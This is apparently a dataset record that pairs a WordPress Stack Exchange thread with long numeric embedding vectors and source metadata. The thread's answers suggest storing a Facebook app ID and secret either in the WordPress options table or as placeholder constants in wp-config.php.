-0.013427734375,
0.0163421630859375,
-0.02197265625,
-0.0184173583984375,
-0.0222320556640625,
0.0015535354614257812,
-0.0382080078125,
0.0052337646484375,
-0.00727081298828125,
-0.004222869873046875,
0.003932952880859375,
-0.0494384765625,
0.0078582763671875,
-0.0122833251953125,
0.016815185546875,
-0.0206146240234375,
-0.0186920166015625,
0.004222869873046875,
-0.02215576171875,
0.005550384521484375,
-0.07281494140625,
-0.0193939208984375,
0.01540374755859375,
0.005931854248046875,
-0.037872314453125,
0.0287933349609375,
0.027008056640625,
-0.01486968994140625,
-0.0140838623046875,
-0.0002200603485107422,
-0.03253173828125,
0.0158538818359375,
-0.016845703125,
0.0026798248291015625,
0.00510406494140625,
0.0019550323486328125,
0.0982666015625,
0.055908203125,
0.047119140625,
0.01617431640625,
-0.0008025169372558594,
-0.0494384765625,
-0.0191192626953125,
-0.03656005859375,
0.02001953125,
-0.04638671875,
-0.042022705078125,
-0.00263214111328125,
-0.02838134765625,
0.0275421142578125,
0.038909912109375,
0.05224609375,
-0.03765869140625,
0.0213775634765625,
0.027191162109375,
-0.034759521484375,
-0.08203125,
0.00508880615234375,
0.037139892578125,
-0.0263824462890625,
0.00555419921875,
0.00412750244140625,
0.0004303455352783203,
-0.023773193359375,
-0.027435302734375,
0.048858642578125,
-0.0305938720703125,
0.0120849609375,
-0.007656097412109375,
0.035003662109375,
-0.017608642578125,
-0.0279083251953125,
0.003284454345703125,
-0.01166534423828125,
0.03509521484375,
0.0127716064453125,
0.007518768310546875,
-0.0113372802734375,
-0.047119140625,
-0.0013322830200195312,
-0.00997161865234375,
0.042724609375,
-0.0157928466796875,
-0.013702392578125,
-0.0386962890625,
0.0400390625,
-0.050537109375,
-0.002559661865234375,
-0.049346923828125,
0.00484466552734375,
-0.002971649169921875,
-0.009033203125,
-0.00498199462890625,
-0.031280517578125,
0.0035457611083984375,
0.007320404052734375,
-0.0016069412231445312,
0.002201080322265625,
0.02288818359375,
0.007061004638671875,
-0.00023472309112548828,
0.0224761962890625,
-0.00798797607421875,
-0.01212310791015625,
-0.01332855224609375,
-0.00821685791015625,
0.0305023193359375,
0.0013284683227539062,
0.03546142578125,
0.013885498046875,
-0.0305633544921875,
0.0275115966796875,
0.004734039306640625,
-0.06689453125,
0.0265045166015625,
0.028228759765625,
0.06134033203125,
-0.017547607421875,
0.021820068359375,
0.058135986328125,
0.0384521484375,
-0.0263824462890625,
0.02325439453125,
-0.005405426025390625,
-0.048919677734375,
0.0283966064453125,
-0.016845703125,
0.003650665283203125,
0.0276031494140625,
0.0035381317138671875,
0.01206207275390625,
0.007843017578125,
-0.0013523101806640625,
-0.074951171875,
0.03436279296875,
-0.04107666015625,
0.046112060546875,
-0.021392822265625,
0.0201416015625,
0.01326751708984375,
-0.02642822265625,
-0.0229034423828125,
0.04974365234375,
0.0118255615234375,
-0.028106689453125,
0.00665283203125,
-0.006229400634765625,
-0.0218658447265625,
-0.01067352294921875,
-0.0005583763122558594,
-0.0246429443359375,
-0.027984619140625,
0.036712646484375,
0.05487060546875,
-0.03387451171875,
-0.005298614501953125,
-0.032623291015625,
-0.00036835670471191406,
0.0104217529296875,
-0.08038330078125,
0.05303955078125,
0.0577392578125,
0.03472900390625,
-0.03369140625,
-0.00696563720703125,
-0.01605224609375,
-0.051849365234375,
-0.00665283203125,
0.0494384765625,
0.0338134765625,
0.049713134765625,
0.023468017578125,
0.041900634765625,
0.052825927734375,
-0.053375244140625,
0.0135955810546875,
-0.006114959716796875,
0.0209503173828125,
0.033843994140625,
-0.000629425048828125,
-0.01302337646484375,
0.01251983642578125,
0.024444580078125,
0.0214080810546875,
0.01552581787109375,
0.02362060546875,
0.031646728515625,
-0.0096893310546875,
0.0162353515625,
-0.016204833984375,
0.0009794235229492188,
-0.02032470703125,
0.01163482666015625,
0.00389862060546875,
0.04022216796875,
0.0193023681640625,
0.0248870849609375,
-0.031890869140625,
0.032623291015625,
0.0149078369140625,
-0.0037994384765625,
0.0088653564453125,
-0.0247955322265625,
-0.004913330078125,
0.00543975830078125,
-0.0311737060546875,
0.0182647705078125,
0.0288543701171875,
-0.01666259765625,
0.0302734375,
0.06512451171875,
0.0131378173828125,
-0.00424957275390625,
-0.005157470703125,
-0.0203857421875,
0.003261566162109375,
0.049041748046875,
-0.0164337158203125,
-0.0281829833984375,
-0.0092315673828125,
0.0499267578125,
-0.0258636474609375,
0.032073974609375,
0.00838470458984375,
-0.0131072998046875,
-0.00942230224609375,
-0.0494384765625,
0.047607421875,
-0.051544189453125,
0.0572509765625,
0.07086181640625,
-0.03497314453125,
0.0265045166015625,
0.00812530517578125,
-0.0126190185546875,
-0.0141448974609375,
0.04473876953125,
0.01270294189453125,
-0.0128021240234375,
-0.0250091552734375,
0.021759033203125,
0.02203369140625,
0.0158538818359375,
0.004627227783203125,
-0.0204925537109375,
-0.00957489013671875,
0.01465606689453125,
-0.054962158203125,
-0.04412841796875,
0.03729248046875,
-0.0721435546875,
0.00856781005859375,
-0.029876708984375,
-0.0386962890625,
-0.0112762451171875,
-0.00328826904296875,
-0.00885009765625,
0.0175323486328125,
-0.0185699462890625,
-0.07147216796875,
-0.0401611328125,
-0.07147216796875,
0.00177001953125,
0.0018482208251953125,
0.004772186279296875,
0.0092010498046875,
0.0758056640625,
0.0103302001953125,
-0.0911865234375,
0.014617919921875,
0.004581451416015625,
-0.029876708984375,
0.038726806640625,
0.044647216796875,
-0.038055419921875,
-0.0105743408203125,
-0.003993988037109375,
0.087646484375,
0.0401611328125,
-0.060760498046875,
0.0056610107421875,
-0.00931549072265625,
0.0023517608642578125,
0.0210418701171875,
-0.0095672607421875,
-0.00864410400390625,
0.0069427490234375,
0.02239990234375,
-0.038909912109375,
-0.0233001708984375,
-0.019989013671875,
-0.0283660888671875,
0.05499267578125,
0.0288848876953125,
-0.01508331298828125,
-0.0056610107421875,
0.037353515625,
-0.004261016845703125,
-0.024993896484375,
0.01212310791015625,
-0.039276123046875,
0.0001615285873413086,
0.010223388671875,
0.0257415771484375,
0.0212860107421875,
0.0167083740234375,
-0.04022216796875,
0.0552978515625,
0.0293731689453125,
0.001888275146484375,
0.01200103759765625,
-0.027740478515625,
-0.0055694580078125,
-0.045806884765625,
0.060577392578125,
0.03509521484375,
0.0199127197265625,
-0.027984619140625,
-0.042144775390625,
-0.019561767578125,
0.0784912109375,
-0.034759521484375,
-0.040008544921875,
0.0030994415283203125,
0.00673675537109375,
0.03839111328125,
0.0009531974792480469,
0.0245819091796875,
-0.039764404296875,
-0.1092529296875,
0.0024776458740234375,
-0.016326904296875,
-0.05426025390625,
-0.0017766952514648438,
-0.06317138671875,
-0.0703125,
-0.049530029296875,
0.0308685302734375,
-0.03997802734375,
0.017822265625,
-0.0185546875,
-0.01224517822265625,
-0.033905029296875,
-0.0086517333984375,
-0.03375244140625,
-0.11163330078125,
-0.004241943359375,
-0.04107666015625,
0.054412841796875,
0.0131683349609375,
0.003345489501953125,
-0.0254974365234375,
0.03167724609375,
0.019287109375,
0.0440673828125,
-0.0176544189453125,
-0.0201568603515625,
-0.0090484619140625,
-0.002819061279296875,
-0.0018606185913085938,
-0.020599365234375,
-2.384185791015625e-7,
-0.0161590576171875,
-0.0115966796875,
-0.0287322998046875,
-0.05157470703125,
-0.03900146484375,
-0.0309906005859375,
-0.023193359375,
-0.050933837890625,
-0.040740966796875,
-0.007335662841796875,
-0.017181396484375,
0.0016546249389648438,
-0.033233642578125,
-0.02862548828125,
-0.03350830078125,
0.026763916015625,
0.02069091796875,
-0.04998779296875,
0.00043010711669921875,
0.06512451171875,
0.02935791015625,
-0.03399658203125,
-0.06842041015625,
-0.004749298095703125,
-0.01218414306640625,
-0.06341552734375,
0.07269287109375,
-0.009918212890625,
0.0213775634765625,
0.06549072265625,
-0.0806884765625,
0.0233306884765625,
-0.057525634765625,
0.06353759765625,
-0.01529693603515625,
-0.01068878173828125,
0.034393310546875,
-0.0177001953125,
0.0189056396484375,
0.005619049072265625,
-0.01346588134765625,
-0.04168701171875,
0.032379150390625,
0.0579833984375,
-0.00859832763671875,
0.01503753662109375,
-0.046905517578125,
-0.0163726806640625,
0.00768280029296875,
-0.0215301513671875,
0.047607421875,
0.01126861572265625,
-0.01084136962890625,
0.01361083984375,
0.00505828857421875,
0.0292816162109375,
-0.0218353271484375,
0.01523590087890625,
-0.049957275390625,
0.059051513671875,
-0.056396484375,
0.01239013671875,
-0.0104217529296875,
-0.004398345947265625,
0.0248870849609375,
-0.017547607421875,
-0.05377197265625,
0.009765625,
0.00006699562072753906,
-0.0165252685546875,
0.043853759765625,
-0.0201568603515625,
0.00740814208984375,
0.06787109375,
-0.03533935546875,
0.018096923828125,
0.02166748046875,
0.005153656005859375,
-0.047637939453125,
-0.00852203369140625,
-0.0023345947265625,
-0.0210418701171875,
-0.025390625,
0.0775146484375,
-0.03564453125,
0.043243408203125,
-0.01500701904296875,
-0.0310821533203125,
-0.03271484375,
0.069580078125,
0.038665771484375,
-0.06805419921875,
0.00347900390625,
0.039947509765625,
0.01477813720703125,
-0.006252288818359375,
-0.01537322998046875,
0.001331329345703125,
0.00811004638671875,
-0.004070281982421875,
0.006679534912109375,
0.0335693359375,
0.004108428955078125,
-0.022857666015625,
0.00982666015625,
0.01898193359375,
-0.0166015625,
-0.0321044921875,
-0.037841796875,
-0.001522064208984375,
0.0177764892578125,
-0.042083740234375,
0.036346435546875,
-0.036102294921875,
0.043212890625,
-0.022796630859375,
0.01288604736328125,
0.004306793212890625,
-0.0168914794921875,
-0.00490570068359375,
-0.0262908935546875,
0.0036773681640625,
-0.006740570068359375,
0.0024051666259765625,
-0.0294342041015625,
-0.01267242431640625,
0.05206298828125,
-0.0222015380859375,
0.0197601318359375,
-0.02691650390625,
0.00948333740234375,
-0.018341064453125,
0.0131378173828125,
0.0261688232421875,
0.004711151123046875,
-0.047332763671875,
0.0162811279296875,
-0.037872314453125,
-0.006252288818359375,
-0.02020263671875,
-0.034881591796875,
-0.047821044921875,
-0.00702667236328125,
-0.0139312744140625,
0.03021240234375,
-0.0034942626953125,
0.0186767578125,
-0.006450653076171875,
0.0015325546264648438,
-0.0272064208984375,
0.057098388671875,
-0.01540374755859375,
0.0794677734375,
-0.031829833984375,
0.044219970703125,
-0.004535675048828125,
0.044708251953125,
0.0047760009765625,
-0.0162506103515625,
0.0046844482421875,
-0.057281494140625,
-0.0230255126953125,
0.01401519775390625,
-0.08062744140625,
0.026763916015625,
0.03985595703125,
0.0009593963623046875,
-0.01296234130859375,
-0.0238189697265625,
-0.01087188720703125,
-0.023651123046875,
0.04559326171875,
-0.0032215118408203125,
-0.009033203125,
-0.0032291412353515625,
-0.031768798828125,
0.01348876953125,
0.01509857177734375,
-0.038055419921875,
0.046600341796875,
0.0014171600341796875,
0.034515380859375,
0.0010967254638671875,
-0.01206207275390625,
0.04156494140625,
0.05926513671875,
0.01629638671875,
0.045166015625,
0.00980377197265625,
0.0192108154296875,
0.0030059814453125,
0.0041656494140625,
0.0249786376953125,
-0.005680084228515625,
0.0626220703125,
-0.0082244873046875,
-0.005218505859375,
0.050872802734375,
-0.028350830078125,
-0.002254486083984375,
0.00402069091796875,
0.0259857177734375,
-0.030609130859375,
0.00914764404296875,
0.03076171875,
0.0120391845703125,
-0.007122039794921875,
0.021148681640625,
-0.0201416015625,
-0.002307891845703125,
0.01013946533203125,
-0.0297393798828125,
-0.01332855224609375,
0.021331787109375,
0.042083740234375,
0.004695892333984375,
-0.02032470703125,
-0.00409698486328125,
-0.01483154296875,
-0.003955841064453125,
-0.0154876708984375,
-0.01140594482421875,
-0.01103973388671875,
0.005542755126953125,
0.043548583984375,
-0.034515380859375,
-0.01165008544921875,
-0.039306640625,
-0.0005469322204589844,
-0.0116729736328125,
-0.038055419921875,
0.009765625,
0.006656646728515625,
0.05767822265625,
0.03204345703125,
0.0157470703125,
-0.0174102783203125,
-0.0003895759582519531,
0.0009832382202148438,
-0.054351806640625,
-0.06298828125,
0.005977630615234375,
0.004283905029296875,
-0.033416748046875,
0.039764404296875,
-0.0017938613891601562,
-0.06561279296875,
-0.004878997802734375,
-0.021026611328125,
0.062469482421875,
-0.0216217041015625,
-0.0285797119140625,
0.01194000244140625,
-0.0197296142578125,
-0.01015472412109375,
0.031402587890625,
0.00926971435546875,
-0.036285400390625,
-0.0240936279296875,
0.033355712890625,
-0.0261993408203125,
-0.02471923828125,
0.031524658203125,
-0.056884765625,
0.054443359375,
0.0038166046142578125,
0.01654052734375,
-0.00258636474609375,
0.025482177734375,
-0.0053558349609375,
0.004169464111328125,
-0.05938720703125,
0.056182861328125,
0.0073089599609375,
0.055755615234375,
-0.07757568359375,
-0.01275634765625,
0.004291534423828125,
0.030853271484375,
0.01168060302734375,
0.000518798828125,
-0.0099639892578125,
-0.016387939453125,
0.037689208984375,
0.04376220703125,
0.02001953125,
0.025604248046875,
0.0072021484375,
0.0692138671875,
0.040008544921875,
-0.056427001953125,
0.0272064208984375,
-0.0196380615234375,
-0.0193634033203125,
0.026031494140625,
-0.00039386749267578125,
-0.0004506111145019531,
-0.034912109375,
0.019805908203125,
-0.046875,
-0.01715087890625,
0.033233642578125,
-0.04388427734375,
-0.0018396377563476562,
0.040985107421875,
0.037078857421875,
-0.059417724609375,
-0.048492431640625,
-0.01605224609375,
0.0258026123046875,
0.0022525787353515625,
0.00960540771484375,
0.038787841796875,
0.0187225341796875,
0.038482666015625,
-0.050689697265625,
0.0032806396484375,
-0.0203094482421875,
-0.01458740234375,
0.04296875,
-0.00400543212890625,
-0.0018215179443359375,
-0.06451416015625,
-0.0100555419921875,
0.035400390625,
0.06121826171875,
-0.04217529296875,
-0.07745361328125,
0.0028438568115234375,
-0.02581787109375,
0.00794219970703125,
0.03070068359375,
-0.014495849609375,
0.0286712646484375,
0.0469970703125,
-0.02716064453125,
0.027557373046875,
0.01190948486328125,
0.006011962890625,
-0.0218353271484375,
-0.033721923828125,
-0.008453369140625,
0.0374755859375,
-0.0008425712585449219,
-0.04437255859375,
0.007770538330078125,
0.047393798828125,
0.038604736328125,
-0.0047760009765625,
-0.038482666015625,
-0.00946807861328125,
-0.02923583984375,
0.07305908203125,
-0.045135498046875,
0.037384033203125,
-0.054046630859375,
-0.07135009765625,
-0.021026611328125,
0.045440673828125,
0.0089569091796875,
0.0047607421875,
0.028656005859375,
-0.00478363037109375,
-0.050384521484375,
-0.00525665283203125,
0.030914306640625,
-0.031982421875,
0.0017251968383789062,
-0.0343017578125,
0.05517578125,
0.033599853515625,
0.0269775390625,
-0.033599853515625,
0.0369873046875,
0.053375244140625,
0.0211944580078125,
-0.010589599609375,
0.0107879638671875,
-0.033447265625,
0.01287841796875,
-0.003589630126953125,
0.0279083251953125,
0.028167724609375,
-0.051971435546875,
-0.0212249755859375,
-0.02197265625,
-0.0244903564453125,
0.0172882080078125,
0.0478515625,
0.00737762451171875,
0.005130767822265625,
0.01666259765625,
-0.0199737548828125,
0.00501251220703125,
0.006755828857421875,
0.010406494140625,
0.01483154296875,
0.0017080307006835938,
0.00658416748046875,
-0.0274200439453125,
-0.01270294189453125,
0.0253143310546875,
0.032867431640625,
0.01395416259765625,
0.016510009765625,
-0.004680633544921875,
0.0080413818359375,
0.0142974853515625,
-0.0179290771484375,
0.0036640167236328125,
-0.00872802734375,
0.04339599609375,
-0.037384033203125,
-0.0240325927734375,
-0.0001798868179321289,
-0.01523590087890625,
-0.004283905029296875,
0.05181884765625,
-0.054931640625,
-0.01241302490234375,
0.0020599365234375,
0.025848388671875,
-0.02191162109375,
-0.001300811767578125,
-0.03521728515625,
-0.03057861328125,
-0.04400634765625,
-0.0175018310546875,
0.033477783203125,
0.004486083984375,
-0.01534271240234375,
0.039031982421875,
0.020263671875,
-0.0079498291015625,
0.0207366943359375,
-0.0263214111328125,
0.04730224609375,
0.0316162109375,
-0.00409698486328125,
0.0020008087158203125,
0.0034046173095703125,
-0.0255584716796875,
0.0128021240234375,
0.01264190673828125,
0.023895263671875,
-0.00959014892578125,
0.0124664306640625,
-0.025665283203125,
0.00881195068359375,
0.042083740234375,
0.041473388671875,
0.00994873046875,
-0.038482666015625,
-0.021881103515625,
-0.009765625,
-0.000965118408203125,
-0.03460693359375,
-0.022247314453125,
-0.0028095245361328125,
0.0010900497436523438,
0.01139068603515625,
-0.050140380859375,
-0.031768798828125,
-0.0107269287109375,
0.033538818359375,
0.02557373046875,
-0.06512451171875,
0.036651611328125,
-0.033538818359375,
-0.0037021636962890625,
0.0029582977294921875,
-0.0195770263671875,
0.00621795654296875,
0.0279541015625,
-0.015838623046875,
-0.0125274658203125,
-0.028076171875,
0.01018524169921875,
-0.0175933837890625,
-0.01355743408203125,
0.00788116455078125,
-0.00218963623046875,
-0.039764404296875,
-0.003353118896484375,
-0.0064697265625,
0.02740478515625,
0.01143646240234375,
-0.0184326171875,
0.0202178955078125,
-0.006305694580078125,
-0.0115966796875,
-0.046661376953125,
0.0245361328125,
-0.05047607421875,
-0.00543212890625,
0.013824462890625,
0.00664520263671875,
0.036346435546875,
-0.030181884765625,
-0.09576416015625,
0.0384521484375,
-0.0149078369140625,
-0.045196533203125,
-0.0504150390625,
0.060791015625,
0.041229248046875,
-0.07122802734375,
-0.0177001953125,
-0.019317626953125,
-0.0267333984375,
-0.0164337158203125,
0.014312744140625,
0.017242431640625,
0.0024318695068359375,
0.04547119140625,
-0.045257568359375,
0.01535797119140625,
-0.0099029541015625,
-0.0163421630859375,
-0.03070068359375,
0.00739288330078125,
0.0157623291015625,
0.016510009765625,
-0.022308349609375,
0.036865234375,
0.031585693359375,
0.018310546875,
0.0107574462890625,
-0.025115966796875,
-0.05560302734375,
-0.020965576171875,
0.0628662109375,
0.0535888671875,
0.0243377685546875,
-0.0215301513671875,
0.005279541015625,
-0.007171630859375,
-0.003154754638671875,
-0.037872314453125,
0.007526397705078125,
-0.0679931640625,
-0.05029296875,
-0.0058746337890625,
-0.01444244384765625,
0.031890869140625,
-0.032196044921875,
-0.031005859375,
0.00974273681640625,
0.0080718994140625,
-0.00409698486328125,
-0.004367828369140625,
-0.0279693603515625,
0.06591796875,
-0.046661376953125,
-0.0170135498046875,
0.004119873046875,
0.0236358642578125,
0.01739501953125,
-0.01001739501953125,
-0.0072784423828125,
-0.017303466796875,
0.005992889404296875,
-0.00005131959915161133,
0.0150299072265625,
-0.005062103271484375,
0.042999267578125,
-0.016937255859375,
0.015716552734375,
0.01438140869140625,
-0.017608642578125,
-0.01313018798828125,
-0.005352020263671875,
0.014984130859375,
-0.026031494140625,
0.067138671875,
0.01055908203125,
0.004261016845703125,
-0.006778717041015625,
0.019775390625,
-0.015045166015625,
-0.01424407958984375,
-0.0015506744384765625,
-0.0247802734375,
0.006771087646484375,
-0.032928466796875,
0.008453369140625,
-0.03875732421875,
0.021820068359375,
-0.0228424072265625,
-0.0310516357421875,
0.03387451171875
] |
63ff5a5361bab52ce62036343a7305e4107944c8
|
Wordpress Stackexchange
Q: What is the best way to store custom variables I need to store the id and secret key of my FB application. I don't want to write them directly in my template. What do you recommend ?
A: I recommend you to store it in WordPress options table using function add_option() function as this is site specific data and not post/category specific.
|
Q: What is the best way to store custom variables I need to store the id and secret key of my FB application. I don't want to write them directly in my template. What do you recommend ?
A: I recommend you to store it in WordPress options table using function add_option() function as this is site specific data and not post/category specific.
A: I know this is an older question, but I still feel like it should contain another suggestion so I'll throw in my 2 cents.
I use the wp-config.php file for such cases where you have a global constant that should be accessible everywhere. This is what WordPress itself does when it needs to store and access such constants as DB_NAME, DB_USER etc. So my recommendation is to add the following to your wp-config.php like:
define('FACEBOOK_ID', VALUE); // Replace VALUE with your actual value
define('FACEBOOK_SECRET_KEY', VALUE); // Replace VALUE with your actual value
Then in the code you can access these values by simply using the constants FACEBOOK_ID and FACEBOOK_SECRET_KEY
This organizes them all into one safe location and also avoids calls to the DB rather than using an already defined const variable.
EDIT: I forgot to mention if you're working on a php page outside of WordPress, you will have to add something like this to your file: require_once( __DIR__ . '/wp-config.php'); This example assumes the custom file is in the same directory as wp-config.php
|
wordpress
|
{
"language": "en",
"length": 239,
"provenance": "stackexchange_00019.jsonl.gz:436736",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113048"
}
|
[
-0.004009246826171875,
-0.02496337890625,
0.00997161865234375,
-0.00942230224609375,
-0.0225677490234375,
-0.002063751220703125,
0.0005774497985839844,
-0.012237548828125,
0.0125579833984375,
-0.0068206787109375,
-0.0292205810546875,
-0.040557861328125,
-0.0235137939453125,
-0.0361328125,
-0.0018167495727539062,
-0.055755615234375,
0.031768798828125,
-0.0599365234375,
-0.0015821456909179688,
-0.01323699951171875,
0.00847625732421875,
-0.01360321044921875,
0.05859375,
0.006305694580078125,
0.075439453125,
-0.07989501953125,
-0.01486968994140625,
-0.0012426376342773438,
0.046630859375,
0.00751495361328125,
0.0443115234375,
-0.003143310546875,
-0.011077880859375,
-0.0011653900146484375,
0.048431396484375,
0.00366973876953125,
0.0106353759765625,
0.01348114013671875,
0.032470703125,
-0.00860595703125,
0.0219879150390625,
-0.00933074951171875,
0.038726806640625,
-0.01126861572265625,
0.019927978515625,
-0.0246429443359375,
0.02630615234375,
-0.048858642578125,
-0.00984954833984375,
0.034423828125,
0.0032901763916015625,
0.03515625,
0.01265716552734375,
0.0310821533203125,
-0.005275726318359375,
-0.040924072265625,
0.008270263671875,
-0.0462646484375,
0.0196533203125,
0.036224365234375,
-0.0009160041809082031,
-0.012176513671875,
0.0204925537109375,
-0.0249786376953125,
0.0443115234375,
-0.0030727386474609375,
0.01502227783203125,
0.049652099609375,
-0.044921875,
0.0217742919921875,
0.0379638671875,
-0.036773681640625,
-0.0016498565673828125,
-0.042755126953125,
-0.0267181396484375,
0.0394287109375,
0.0096893310546875,
0.022308349609375,
-0.003322601318359375,
-0.0082244873046875,
-0.05828857421875,
-0.02679443359375,
-0.049285888671875,
0.0008301734924316406,
-0.052947998046875,
0.005062103271484375,
-0.037933349609375,
0.01291656494140625,
0.00661468505859375,
-0.0022754669189453125,
-0.0093994140625,
-0.0225830078125,
0.03076171875,
0.0250396728515625,
-0.024169921875,
-0.0093536376953125,
-0.0089874267578125,
0.0177764892578125,
-0.00827789306640625,
0.00862884521484375,
0.013336181640625,
-0.0156402587890625,
0.018951416015625,
-0.01097869873046875,
-0.01605224609375,
0.06036376953125,
0.01275634765625,
-0.00732421875,
-0.0177459716796875,
0.0068817138671875,
-0.01143646240234375,
-0.08746337890625,
0.030487060546875,
-0.008697509765625,
-0.01279449462890625,
0.00812530517578125,
0.013336181640625,
0.025146484375,
-0.0013322830200195312,
-0.0013322830200195312,
0.019317626953125,
0.02557373046875,
-0.00743865966796875,
-0.0244293212890625,
-0.0171356201171875,
-0.03814697265625,
-0.0240478515625,
-0.0017995834350585938,
-0.07952880859375,
0.0843505859375,
-0.03509521484375,
-0.012847900390625,
0.06939697265625,
0.0274658203125,
-0.0097503662109375,
-0.045257568359375,
0.00787353515625,
-0.031219482421875,
-0.0199432373046875,
0.01433563232421875,
-0.036102294921875,
-0.028900146484375,
0.0093231201171875,
-0.040557861328125,
-0.0165252685546875,
0.058746337890625,
0.028472900390625,
-0.01244354248046875,
-0.0229949951171875,
-0.09320068359375,
-0.01297760009765625,
-0.0124664306640625,
0.007175445556640625,
0.012451171875,
0.0223846435546875,
0.0267333984375,
0.01013946533203125,
-0.00022101402282714844,
-0.0093536376953125,
0.01349639892578125,
-0.017608642578125,
-0.03656005859375,
-0.01288604736328125,
-0.003139495849609375,
-0.01520538330078125,
0.0316162109375,
0.0202178955078125,
0.008514404296875,
0.0254974365234375,
0.057861328125,
0.006206512451171875,
-0.0167694091796875,
-0.02960205078125,
-0.0026569366455078125,
-0.0010919570922851562,
0.0193328857421875,
0.011688232421875,
-0.0296173095703125,
0.0269622802734375,
-0.007389068603515625,
-0.0230255126953125,
-0.031951904296875,
0.005504608154296875,
-0.007488250732421875,
-0.029998779296875,
0.04986572265625,
0.004322052001953125,
0.07537841796875,
0.0006327629089355469,
0.01250457763671875,
-0.00010889768600463867,
0.01165771484375,
-0.06976318359375,
0.0572509765625,
0.016448974609375,
0.01216888427734375,
0.0107879638671875,
0.01255035400390625,
0.0175323486328125,
-0.05450439453125,
-0.034423828125,
0.01314544677734375,
0.007335662841796875,
0.004047393798828125,
0.008758544921875,
-0.0019855499267578125,
-0.0084381103515625,
0.0221099853515625,
-0.032379150390625,
0.0177459716796875,
0.01082611083984375,
-0.031341552734375,
0.0106201171875,
-0.031463623046875,
-0.004871368408203125,
0.0034236907958984375,
-0.0212554931640625,
0.0209808349609375,
0.004520416259765625,
0.0121917724609375,
-0.00966644287109375,
-0.0017490386962890625,
-0.010406494140625,
0.00811767578125,
0.0162811279296875,
0.016845703125,
-0.03582763671875,
0.0030574798583984375,
0.00482177734375,
0.01421356201171875,
-0.007358551025390625,
0.02423095703125,
-0.00717926025390625,
0.0159912109375,
-0.01177978515625,
-0.0099334716796875,
-0.01506805419921875,
-0.0703125,
0.004730224609375,
0.040496826171875,
0.00788116455078125,
0.004596710205078125,
-0.0002942085266113281,
0.07366943359375,
0.009674072265625,
0.002590179443359375,
0.01873779296875,
0.0247650146484375,
0.0223846435546875,
0.06768798828125,
-0.0298309326171875,
-0.00998687744140625,
0.004703521728515625,
-0.061248779296875,
-0.0139923095703125,
0.029144287109375,
-0.08233642578125,
-0.0235748291015625,
0.033294677734375,
-0.035430908203125,
-0.01010894775390625,
-0.037261962890625,
0.040435791015625,
-0.03668212890625,
0.045013427734375,
-0.024505615234375,
0.033355712890625,
0.007106781005859375,
0.003665924072265625,
-0.01090240478515625,
0.006298065185546875,
-0.04400634765625,
0.0001919269561767578,
-0.014617919921875,
-0.01384735107421875,
0.0252685546875,
-0.019439697265625,
0.00968170166015625,
-0.0190277099609375,
0.0009822845458984375,
0.0241241455078125,
0.1009521484375,
-0.0270233154296875,
-0.02276611328125,
-0.0179443359375,
-0.061798095703125,
-0.054901123046875,
-0.01192474365234375,
0.0455322265625,
-0.00506591796875,
0.0223846435546875,
0.04718017578125,
0.01010894775390625,
0.051422119140625,
-0.019683837890625,
-0.0301361083984375,
0.007068634033203125,
-0.032196044921875,
0.01434326171875,
-0.031341552734375,
0.045989990234375,
0.06475830078125,
-0.0004303455352783203,
-0.005039215087890625,
-0.012908935546875,
0.0010128021240234375,
-0.0011110305786132812,
-0.003978729248046875,
-0.00618743896484375,
-0.04144287109375,
-0.013153076171875,
0.01427459716796875,
0.025177001953125,
0.02886962890625,
0.01202392578125,
-0.030242919921875,
0.006195068359375,
0.0210113525390625,
-0.06787109375,
-0.1029052734375,
0.030487060546875,
-0.049072265625,
-0.01224517822265625,
-0.034210205078125,
-0.02911376953125,
-0.0032176971435546875,
-0.0159759521484375,
0.007068634033203125,
0.019134521484375,
-0.027374267578125,
-0.0268707275390625,
-0.034271240234375,
-0.05316162109375,
-0.020416259765625,
0.01105499267578125,
0.007221221923828125,
-0.007381439208984375,
0.058197021484375,
-0.0014467239379882812,
-0.00031185150146484375,
0.0082244873046875,
-0.07806396484375,
-0.00252532958984375,
-0.00843048095703125,
0.0122528076171875,
-0.033782958984375,
0.0276947021484375,
0.0003368854522705078,
0.0202484130859375,
0.0207061767578125,
-0.0055999755859375,
-0.0177154541015625,
-0.02227783203125,
0.018707275390625,
-0.0017528533935546875,
0.0267486572265625,
0.03436279296875,
0.0146331787109375,
0.023681640625,
-0.025360107421875,
-0.0019702911376953125,
0.00626373291015625,
-0.0185394287109375,
-0.00916290283203125,
0.00768280029296875,
-0.032318115234375,
-0.0141754150390625,
0.01032257080078125,
0.0150146484375,
0.03082275390625,
-0.00023221969604492188,
-0.00909423828125,
-0.01404571533203125,
0.00731658935546875,
0.03424072265625,
0.007415771484375,
0.029541015625,
-0.03485107421875,
0.00920867919921875,
0.0037288665771484375,
-0.025360107421875,
0.011871337890625,
-0.042694091796875,
-0.00530242919921875,
-0.0546875,
0.032257080078125,
-0.0160980224609375,
0.029205322265625,
-0.04779052734375,
-0.0239105224609375,
-0.01456451416015625,
0.09124755859375,
-0.037689208984375,
0.006481170654296875,
0.01255035400390625,
0.0027904510498046875,
-0.0300140380859375,
-0.030853271484375,
-0.0706787109375,
-0.00830841064453125,
0.0285491943359375,
0.00151824951171875,
-0.027801513671875,
0.01009368896484375,
-0.0272674560546875,
0.032196044921875,
0.012664794921875,
-0.01751708984375,
0.0196990966796875,
-0.0271148681640625,
0.023956298828125,
-0.0266571044921875,
0.04345703125,
-0.053802490234375,
0.0169219970703125,
-0.031585693359375,
-0.03521728515625,
-0.023590087890625,
0.0241851806640625,
0.016326904296875,
0.0006213188171386719,
-0.0262451171875,
0.00946807861328125,
0.03741455078125,
-0.038360595703125,
-0.008514404296875,
0.0064849853515625,
0.03790283203125,
-0.0164031982421875,
-0.01209259033203125,
-0.00992584228515625,
-0.043670654296875,
-0.01873779296875,
-0.040863037109375,
-0.027252197265625,
-0.056732177734375,
-0.0258941650390625,
-0.0134735107421875,
0.0033416748046875,
-0.01155853271484375,
-0.0504150390625,
-0.01073455810546875,
0.005916595458984375,
0.0164031982421875,
0.0015888214111328125,
-0.01047515869140625,
-0.00617218017578125,
-0.042388916015625,
0.04541015625,
0.02276611328125,
-0.00667572021484375,
0.007244110107421875,
0.05804443359375,
0.0103912353515625,
-0.037445068359375,
-0.08642578125,
0.010101318359375,
0.046875,
-0.036468505859375,
0.043182373046875,
0.046173095703125,
-0.01215362548828125,
0.023406982421875,
0.0071563720703125,
0.0038051605224609375,
-0.03765869140625,
0.12188720703125,
-0.02374267578125,
0.0004954338073730469,
0.0139617919921875,
-0.04168701171875,
-0.00972747802734375,
0.0321044921875,
-0.01004791259765625,
-0.024749755859375,
